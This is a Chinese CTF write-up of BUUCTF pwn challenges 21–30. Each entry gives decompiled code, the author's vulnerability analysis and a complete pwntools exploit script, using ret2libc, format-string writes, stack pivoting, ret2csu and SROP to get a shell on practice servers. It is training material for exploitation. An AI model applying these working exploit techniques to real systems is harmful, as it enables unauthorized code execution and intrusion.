buuctf习题pwn(21~30)

第二十一题 铁人三项(第五赛区)_2018_rop

查看保护和反汇编

checksec

32位堆栈不可执行
ida
main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  be_nice_to_people();
  vulnerable_function();
  return write(1, "Hello, World\n", 0xDu);
}

vulnerable_function

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+10h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

没有后门函数
ret2libc

exp

from pwn import*
from LibcSearcher import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',27557)
#io=process('./2018_rop')
elf=ELF('./2018_rop')
write_got=elf.got['write']
write_plt=elf.plt['write']
vulnerable_function_addr=elf.sym['vulnerable_function']
payload1=b'a'*(136+4)+p32(write_plt)+p32(vulnerable_function_addr)+p32(1)+p32(write_got)+p32(0x4)
io.sendline(payload1)
#io.recvuntil(b'World\n')
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc=LibcSearcher('write',write_addr)
libcbase=write_addr-libc.dump('write')
system=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*(136+4)+p32(system)+b'1234'+p32(str_bin_sh)
io.sendline(payload2)
io.interactive()

第二十二题 bjdctf_2020_babyrop

查看保护和反编译

checksec
在这里插入图片描述
64位,堆栈不可执行
ida
main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  vuln();
  return 0;
}

init

int init()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("Can u return to libc ?");
  return puts("Try u best!");
}

vlun

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Pull up your sword and tell me u story!");
  return read(0, buf, 0x64uLL);
}

没有后门,ret2libc

exp

from pwn import*
from LibcSearcher import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',26248)
#io=process('./bjdctf_2020_babyrop')
elf=ELF('./bjdctf_2020_babyrop')
ret=0x4004c9
pop_rdi=0x400733
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
vuln_addr=elf.sym['vuln']
payload1=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.recvuntil(b'story!\n')
io.sendline(payload1)
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*0x28+p64(ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system)
io.recvuntil(b'story!\n')
io.sendline(payload2)
io.interactive()

这次看到了一句关于puts地址接收6位的话。
puts的有效地址只有6位,需要再结尾用0补齐8位
但是仍是没明白为啥

第二十三题 bjdctf_2020_babystack2

查看保护和反编译

checksec
在这里插入图片描述
64位,堆栈不可执行
ida
main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[12]; // [rsp+0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  if ( (int)nbytes > 10 )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  puts("[+]What's u name?");
  read(0, buf, (unsigned int)nbytes);
  return 0;
}

后门函数(就在main上面,其实是从字符串窗口找到的)

__int64 backdoor()
{
  system("/bin/sh");
  return 1LL;
}

main函数栈结构
在这里插入图片描述
可以看到,我们尝试覆盖nbytes,将其数值改大,失败了。
后经过观察,输入时的nybtes是有符号数字,而在限制read输入长度时是无符号数字,有符号数和无符号数(没有正负号,都为正)编码不同,具体可以百度搜索或去学习csapp。
所以输入-1,在后面read输入时就是无符号数中的最大值

exp

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',25691)
#io=process('./bjdctf_2020_babystack2')
backdoor=0x400726
io.recvuntil(b'name:\n')
io.sendline(b'-1')
io.recvuntil(b'name?\n')
payload=b'a'*0x18+p64(backdoor)
io.sendline(payload)
io.interactive()

第二十四题 jarvisoj_fm

查看保护和反汇编

checksec
在这里插入图片描述
32位,堆栈不可执行,有canary保护
ida
main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
  unsigned int v5; // [esp+7Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  be_nice_to_people();
  memset(buf, 0, sizeof(buf));
  read(0, buf, 0x50u);
  printf(buf);
  printf("%d!\n", x);
  if ( x == 4 )
  {
    puts("running sh...");
    system("/bin/sh");
  }
  return 0;
}

和ctfshow中的一题很像,考察格式化字符串漏洞利用
运行程序,确定输入对于printf的偏移量
在这里插入图片描述
a的ASCII码时61,所以输入内容相对于printf偏移量为11
main函数中x地址为
在这里插入图片描述

x_addr=0x804A02C

exp

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',28848)
#io=process('./fm')
x_addr=0x804A02C
payload=p32(x_addr)+b'%11$n'
io.sendline(payload)
io.interactive()

第二十五题ciscn_2019_es_2

查看保护和反汇编

checksec
在这里插入图片描述
32位堆栈不可执行
ida
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}

vul函数

int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

两次read可以输入
虽然有溢出但是余出的长度只有八字节。
在hack中有system函数,但是只是简单的输出flag字符串

int hack()
{
  return system("echo flag");
}

如果能将/bin/sh作为参数调用system函数就能getshell了
这道题用栈迁移来解,栈迁移原理
寻找gadget(leave_ret)
在这里插入图片描述
leave_ret_addr=0x080484b8
第一次read(我的意思是输入)用来泄露ebp的地址
printf当遇到\x00时才会停止输出,将下一处的终止符覆盖就可以打印出ebp的地址,就像覆盖泄露canary一样来泄露ebp的地址
还要说的是,栈也是有地址的,后面用gdb的时候会说哪里是栈的地址

paylaod1=b'a'*0x27+b'b'
io.send(paylaod1)#不能用senldine,会多输入一个'\n'
io.recvuntil(b'b')
ebp_addr=u32(io.recv(4))

现在我们要确定s在栈上的位置,好在第二次read时对栈进行布局。
选择的是用ebp+偏移量的方法来表示s的地址
gdb调试
从其他师傅处得来的经验,选择在nop处下断点
在这里插入图片描述
上面的是ida的,当然也没有忘记gdb怎么用,也挺好用的
在这里插入图片描述

总之断点地址:0x080485fc
下断点后运行(r),第一次read时输入aaaa,终止(ctrl+c),查看栈(stack)
在这里插入图片描述

所说数据存储在栈上,栈也是有地址的,这个地址指向的才是数据,也有栈指向一个地址,这个地址指向数据的。
上图左侧黄颜色的就是栈的地址
计算s到ebp的偏移量
在这里插入图片描述
0x38字节,所以s地址:ebp-0x38
第二次paylaod的布局图(0x10=16)
在这里插入图片描述
payload2

leave_ret_addr=0x080484b8
system_addr=0x08048400
bin_sh_addr=ebp-0x38+0x10
payload2=(b'aaaa'+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)+b'/bin/sh').ljust(0x28,b'\x00')+p32(ebp-0x38)+p32(leave_ret_addr)
#对于上面system后的aaaa,注意32位程序调用函数的顺序(参数、返回地址、函数)

exp

from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',29270)
#io=process('./ciscn_2019_es_2')
leave_ret_addr=0x080484b8
system_addr=0x08048400
payload1=b'a'*0x27+b'b'
io.recvuntil('name?\n')
io.send(payload1)
io.recvuntil(b'b')
ebp_addr=u32(io.recv(4))
print(hex(ebp_addr))
#s=ebp_addr-0x38
bin_sh_addr=ebp_addr-0x38+0x10
payload2=(b'aaaa'+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)+b'/bin/sh').ljust(0x28,b'\x00')+p32(ebp_addr-0x38)+p32(leave_ret_addr)
io.sendline(payload2)
io.interactive()

第二十六题jarvisoj_tell_me_something

查看保护和反汇编

checksec
在这里插入图片描述
64位,堆栈不可执行
ida
main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-88h] BYREF

  write(1, "Input your message:\n", 0x14uLL);
  read(0, &v4, 0x100uLL);
  return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

查看字符串窗口发现了falg.txt
跟进找到了good_game函数

int good_game()
{
  FILE *v0; // rbx
  int result; // eax
  char buf[9]; // [rsp+Fh] [rbp-9h] BYREF

  v0 = fopen("flag.txt", "r");//v0指向flag.txt文件
  while ( 1 )
  {
    result = fgetc(v0);//从v0指向文件中读取一个字符,fgetc函数每次会读取下一个字符
    buf[0] = result;//将读取的字符存入buf[0]
    if ( (_BYTE)result == 0xFF )//遇到特定字符退出循环,结尾退出循环
      break;
    write(1, buf, 1uLL);//将buf[0]处字符写入输出流,也就是写在终端了
  }
  return result;
}

exp

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',27926)
good_game_addr=0x400620
payload=b'a'*0x88+p64(good_game_addr)
io.recvuntil(b'message:\n')
io.sendline(payload)
io.interactive()

第二十七题 [HarekazeCTF2019]baby_rop2

查看保护和反汇编

checksec
在这里插入图片描述
64位,堆栈不可执行
ida
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[28]; // [rsp+0h] [rbp-20h] BYREF
  int v5; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("What's your name? ");
  v5 = read(0, buf, 0x100uLL);
  buf[v5 - 1] = 0;
  printf("Welcome to the Pwn World again, %s!\n", buf);
  return 0;
}

查看字符串窗口,没有有用的
通过printf打印read的地址,从而泄露libc版本
关于printf函数,要两个参数,一个是’%s‘,一个是read的got表地址
%s有必要说,我们没办法自己写入,只能用题目中给的
在这里插入图片描述
地址
在这里插入图片描述

所以这次的gadget要找俩
在这里插入图片描述
第一个参数用rdi传,第二个用rsi,没找到只有rsi的,所以第二个用带r15的,传参的时候多随意写一个就行。

exp

from pwn import*
from LibcSearcher import*
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',28669)
#io=process('./babyrop2')
elf=ELF('./babyrop2')
pop_rdi_addr=0x0400733
ret_addr=0x04004d1
pop_rsi_r15_addr=0x400731
main_addr=elf.sym['main']
read_got=elf.got['read']
printf_plt=elf.plt['printf']
s_addr=0x400770
payload1=b'a'*0x28+p64(pop_rdi_addr)+p64(s_addr)+p64(pop_rsi_r15_addr)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr)
io.recvuntil(b'name? ')
io.sendline(payload1)
#printf_addr=u64(io.recv(6).ljust(8,b'\x00'))
read_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) #
print(hex(read_addr))
libc=LibcSearcher('read',read_addr)
libcbase=read_addr-libc.dump('read')
system_addr=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*0x28+p64(pop_rdi_addr)+p64(str_bin_sh)+p64(system_addr)
io.recvuntil(b'name? ')
io.sendline(payload2)
io.interactive()

接收read地址那里,不是很明白,不明白在为什么是’\x7f’而不是换行符,
‘\x7f’是不可见字符,对应的ASCII是删除字符
后面的[:-6]是因为有效地址是6位(puts是这样的,所以认为read也是这样),在将其补全至8位解包

第二十八题 pwn2_sctf_2016

之前还说打不通,结果同学很快就打通了,但是仍有不懂的地方

查看安全保护和反编译

checksec
在这里插入图片描述
32位小端,堆栈不可执行。
ida
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  return vuln();
}

vuln函数

int vuln()
{
  char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n((int)nptr, 4u);
  v2 = atoi(nptr);//atoi函数是将地址转换成整数型
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n((int)nptr, v2);
  return printf(dword_80486F8, nptr);
}

get_n函数

int __cdecl get_n(int a1, unsigned int a2)
{
  unsigned int v2; // eax
  int result; // eax
  char v4; // [esp+Bh] [ebp-Dh]
  unsigned int i; // [esp+Ch] [ebp-Ch]

  for ( i = 0; ; ++i )
  {
    v4 = getchar();//获取一个字符
    if ( !v4 || v4 == 10 || i >= a2 )/如果v4为\0或v4位\n或读取到了输入的限度a2
      break;//退出循环
    v2 = i;
    *(_BYTE *)(v2 + a1) = v4;将v4的值赋在传入的地址+v2(即i)偏移
  }
  result = a1 + i;//将写完的地址赋给返回值
  *(_BYTE *)(a1 + i) = 0;//将字符串结尾置零(\0)
  return result;
}

思路

get_n函数中的a2(v2)是无符号数,而判断时的v2是有符号数,所以惯用方法传个-1过去,就可以绕过输入限制,达到栈溢出目的
后用ret2libc方法进行攻击

exp

from pwn import *
from LibcSearcher import *
io=remote("node4.buuoj.cn",28900)
context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'

#io = process('./pwn2_sctf_2016')
elf = ELF('./pwn2_sctf_2016')
libc = ELF('./libc-2.23.so')

printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
#formatstr_addr = 0x80486f8  
formatstr_addr=0x8048702       # %s,ida中选中含有%s的字符串(printf里的),按d键,会切分开,选则%s的部分
main_addr = elf.symbols['main']

payload1=b'a' *(0x2c+4)
payload1+= p32(printf_plt) + p32(main_addr) + p32(formatstr_addr) + p32(printf_got)
io.recvuntil(b'How many bytes do you want me to read?')
io.sendline(b'-1')
io.recvuntil(b'bytes of data!\n')
io.sendline(payload1)

io.recvuntil(b'You said: ')#这里是接收vuln函数执行完的输出
#蒙住了,原来返回地址覆盖的是call的下一处,当call后这个函数就已经执行了,所以他会输出you said
printf_addr = u32(io.recvuntil(b'\xf7')[-4:])#这里截取后四位可以理解:因为是小端序,所以地址的最低字节包含了地址的最低位
#但是为什么是\xf7不是\n,为什么其他的接收方式不行
libcbase = printf_addr - libc.symbols['printf']
system_addr = libc.symbols['system'] + libcbase
binsh_addr = next(libc.search(b'/bin/sh')) + libcbase

payload2=b'a' *(0x2c+4)+ p32(system_addr) + p32(main_addr) + p32(binsh_addr)
io.recvuntil(b'How many bytes do you want me to read?')
io.sendline(b'-1')
io.recvuntil(b'bytes of data!\n')
io.sendline(payload2)
io.interactive()

问题:如果判断用什么方式去接受泄露出来的地址

第二十九题 jarvisoj_level3

checksec
在这里插入图片描述
32位,堆栈不可执行
ida
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

vulnerable_function

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  write(1, "Input:\n", 7u);
  return read(0, buf, 0x100u);
}

字符串窗口没有后门
ret2ibc,没有弯弯绕
exp

from pwn import*
from LibcSearcher import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',27993)
#io=process('./level3')
elf=ELF('./level3')
main_addr=elf.sym['main']
write_got=elf.got['write']
write_plt=elf.plt['write']
payload1=b'a'*0x8c+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.recvuntil(b'Input:\n')
io.sendline(payload1)
write_addr=u32(io.recv(4))
print(hex(write_addr))
#libc=LibcSearcher('write',write_addr)
libc=ELF('./libc-2.23.so')
libcbase=write_addr-libc.sym['write']
system_addr=libcbase+libc.sym['system']
str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))
payload2=b'a'*0x8c+p32(system_addr)+p32(0)+p32(str_bin_sh)
io.recvuntil(b'Input:\n')
io.sendline(payload2)
io.interactive()

第三十题 ciscn_2019_s_3//需要常看复习,系统调用ret2csu

查看保护和反汇编

checksec
在这里插入图片描述
64位,堆栈不可执行
ida
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  return vuln(argc, argv, envp);
}

vuln函数

signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400uLL);
  return sys_write(1u, buf, 0x30uLL);
}

汇编
在这里插入图片描述
说一下汇编代码
xor rax, rax====== > 将rax设置为0
mov edx, 400h=== >将edx设置为0x400
lea rsi, [rsp+buf]== > 将buf参数的地址传入寄存器rsi
mov rdi, rax===== >将rax寄存器里的值(0)传入rdi寄存器(将rdi设置为0)
syscall ========= >进行系统调用
这段是执行了 read(0,buf,0x400)
下面的write也是一样
两个函数都是通过系统调用的方式实现
对于amd64程序sys_read 的调用号 为 0 ;sys_write 的调用号 为 1;stub_execve 的调用号 为 59;sys_rt_sigreturn调用号为15
这个题有两种解法

解法一

execve我们在做ret2syscall时遇到过,当时的例题是32位
buf只有0x10,read函数可以输入0x400,足以栈溢出
read之后有write,本题用它接收写入的/bin/sh地址
ida中有一个gadgets
在这里插入图片描述
汇编
在这里插入图片描述
可以看到有将rax设置为59的gadget
记下来execve=0x4004E2 //mov rax 59
接下来只要设置execve函数的参数,通过pop指令持续控制,让rdi=/bin/sh,rsi=0,rdx=0即可获得shell
但是gadget中没有控制rdx的(通过ROPgadget指令查找)
就要用到_libc_csu_init,记得叫ret2csu,这种解法
查看该函数的汇编可以找到
在这里插入图片描述
这里有控制rdx的指令
先调用loc_400596的函数(从pop rbx处的地址开始)设置rbp为1,r12为/bin/sh地址加8(后面说),其他的都为0。
再调用loc_400580函数将上函数设置的值传到目标寄存器里。
让rbx为0,rbp为1目的是在后面跳出循环(但是做题时不跳也能通,还不明白为啥,即rbp也可以是0)
这么做的目的:在loc_400580里有一步call,它的调用地址是由r12和rbx决定的,rbx已经设置为0,我们可以设置r12为我们想要的地址)

写binsh

本题没有/bin/sh,需要我们自己写。
write打印了0x30字节,会泄露一些栈上的地址
因为开启了保护,每次的站地址会不同,但是偏移是不会变的。
我们要找一个可以被write输出的地址,通过偏移来获得写入的/bin/sh地址
由vuln函数中的**lea rsi, [rsp+buf]**可知,rsi记录buf的地址
gdb调试(断点还是打在了nop处,输入了aaaa)
在这里插入图片描述
这个是buf地址,查看该地址
在这里插入图片描述
注意这三行,到上图标记的位置处就已经是0x28(40)了

0x7fffffffdf40:	0x00007f0a61616161	0x0000000000400540# 前八位是aaaa
0x7fffffffdf50:	0x00007fffffffdf70	0x0000000000400536 
0x7fffffffdf60:	0x00007fffffffe068	0x0000000100000000

在这里插入图片描述
注意上图,rsp下面一行有0x00007fffffffe068这个地址(最左边的黄颜色地址是栈的地址,指向的地址为其储存的内容)所以0x00007fffffffe068是在栈上的
0x00007fffffffe068之前有0x20个字节,在接收地址时要先把他们过滤掉。
再计算它到输入内容的偏移
在这里插入图片描述
所以接收数据后减去0x128就是我们输入的位置
还需要syscall,在ida里就能找到,当然ROPgadget也可以
地址syscall=0x400501
exp如下

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
#io=remote('node4.buuoj.cn',26790)
io=process('./ciscn_s_3')
vuln_addr=0x4004ED
execv=0x4004E2  #mov rax 59
pop_rdi_addr=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15_addr=0x40059A
mov_call_addr=0x400580
syscall_addr=0x400501
payload1=b'/bin/sh\x00'+p64(pop_rdi_addr)+p64(vuln_addr)
io.sendline(payload1)
io.recv(0x20)
bin_sh_addr=u64(io.recv(8))-0x128#本地
#bin_sh_addr=u64(io.recv(8))-0x118#远程
payload2=b'/bin/sh\x00'+p64(pop_rdi_addr)+p64(pop_rbx_rbp_r12_r13_r14_r15_addr)+p64(0)+p64(1)+p64(bin_sh_addr+0x8)+p64(0)*3
payload2+=p64(mov_call_addr)+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(execv)+p64(syscall_addr)
io.sendline(payload2)

io.interactive()

注意上面的payload2,前面说将r12设置为我们想要执行的函数,我们将地址设置成了/bin/sh+8,而填充栈部分分别是/bin/sh和pop rdi,可能是我还没理解到位,遇到了一些目前无法理解的情况:/bin/sh后面接上其他pop一个寄存器的gadget都可以,直接把r12设置为pop rdi的地址不行。
另外,本地和远程计算出来的偏移量不同(我还不会用计算远程处的偏移量,是看的其他师傅的wp)

解法二

使用另一条gadget:sigreturn
关于SROP的介绍(ctfwiki上抄的自己找吧)

在这里插入图片描述

sigreturn_addr=0x4004DA
pwntools里有一个很好用的函数(SigreturnFrame)

exp

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
#io=remote('node4.buuoj.cn',26790)
io=process('./ciscn_s_3')
read_write_addr=0x4004F1#这里,并不是vuln函数的起始地址,而是跳过存入原rsp的地址(自认为的原因,若是其他原因还望有人能指出),下面附汇编
sigreturn_addr=0x4004DA
pop_rdi_addr=0x4005a3
mov_call_addr=0x400580
syscall_addr=0x400501
payload1=b'/bin/sh\x00'+b'a'*0x8+p64(read_write_addr)
io.sendline(payload1)
io.recv(0x20)
bin_sh_addr=u64(io.recv(8))-0x128#本地,远程是0x118好像
frame=SigreturnFrame()
frame.rax=constants.SYS_execve
frame.rdi=bin_sh_addr
frame.rsi=0
frame.rdx=0
frame.rip=syscall_addr
payload2=b'a'*0x10+p64(sigreturn_addr)+p64(syscall_addr)+bytes(frame)
io.sendline(payload2)
io.interactive()

在这里插入图片描述
对于SigreturnFream的使用方法暂时还是照着抄

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值